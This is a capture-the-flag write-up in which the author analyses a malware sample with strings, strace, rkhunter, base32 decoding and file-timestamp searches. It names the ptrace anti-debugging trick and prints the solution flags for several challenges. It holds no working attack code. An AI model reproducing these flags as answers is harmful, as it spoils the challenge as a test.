You've been contacted by a high-end but morally ambiguous finance company ( to investigate a data breach. The box in question is a mail server in their internal network, a sample of the malware found on the system has been pulled and given to you. Your task, should you choose to accept it, is to reverse-engineer the sample and locate, fuzz and exploit the C2 server, and then hack-back to learn about the malicious actor and recover the stolen documents. Look for the free flag. Get on the scoreboard!

I admit that in a hurry to get points I did not properly read the description of the challenge. I understood that I'll be downloading and reverse-engineering something. But it did not register on my mind that it's actually malware.

The download was a binary that doesn't do anything when run. My first instict was to use strings to look for the flag, which turned out to be correct.


The flag is: TS{freeFlagLookAtMe}.

Unfortunately, this challenge was already solved by a team member so I did not get the free flag. The second one, is still open though.

Syscalls [5 points]

What syscall is hindering your dynamic analysis? Flag is just the syscall, no brackets or anything.

If we run the file from within gdb to debug it we get:


can't debug this, na na na na...

So from the description we are looking for a syscall that is hindering the debugging of the binary. If we want to find out what syscalls are called by a program, we could determine that using the strace command.


Just before the write syscall for the "na na na" message we see:

ptrace(TRACE_TRACEME) = -1 EPERM (Operation not permitted)

I'm unfamiliar with ptrace so I researched it and tried to understand how it could prevent debugging. I learned that ptrace can be used as an anti-debugging technique as can be seen here.

Sure, enough the flag is: ptrace.

I got 5 points from this and I finally have a contribution to my team! Unfortunately, real life prevented me from continuing with the CTF and I had to bow out early.

Sidenote: How to bypass ptrace?

How does one bypass this anti-debugging feature? Here's one approach that I tried which should work in theory but doesn't. My guess is that this particular binary has an additional way to prevent debugging, like it spawns a child process and it stays there even if you bypass ptrace. I'd have to look into this further in the future.

Shared Secrets [150 points]

The malware creates a shared-memory object and stores a flag inside. Recover the flag. Flag has the TS{} format, you'll know when you get it.

I was able to solve this challenge after the CTF preliminaries ended. By this time I was already well rested and have a clearer mind. It was also at this time that I realized that the file is actually a malware and has already infected my machine. Thankfully, I was running a virtual machine which meant I could just revert back to an old working restore point.

Knowing that the file is a malware, the next step I did was to run rkhunter to look for rootkits and suspcious files. This gave me an interesting finding:


Opening the suspicious file revealed this:


This is not the flag yet, it needs to be in the "TS{}" format as instructed in the challenge description.

I initially had a hard time figuring out how to decode this. It wasn't base64 nor any other popular encoding. Thankfully, there are tools like CyberChef to help with this kind of problem. After some experimentation, the "magic" recipe did the trick and revealed to me that it was actually a base32 encoding.


This gave me the flag: TS{kEepItSeCrETkEepItSaFe.MrFr0dO!}

License and Registration [100 points]

The malware creates a UUID and stores it in a file, what is the name of this file. Provide the SHA1 hash of hte full path as the flag.

So the description above says that a file is created by the malware and stores data inside of it. I figured that the easiest way to figure out what this created file is to:

  • Restore to a previous restore point before I opened the malware
  • Run the malware, and then;
  • Inspect which other files were created at the time of execution.

I found out which files were recently created during the last 2 minutes using the following command:

$ find / -user kali -mmin 2 -type f 2> /dev/null

This showed me a lot of files, but after sifting through that I found one file that seesm promising.


To get the flag I did this:

$ echo -n "/tmp/.serverauth.tn6aUcM0uM" | sha1sum

Which resulted in this flag: 5b4e97047851682649a602ad62ba4af567e352a3

To be continued?

So I wanted to try and work on the other challenges but it seems that the ctf site is currently down. The site redirected to a different non https site and it spooked me so I stopped trying. Good thing that I had NoScript on.

If you want a longer and more pro writeup about the CovidScammers challenges do check out 0xdf's writeup about it.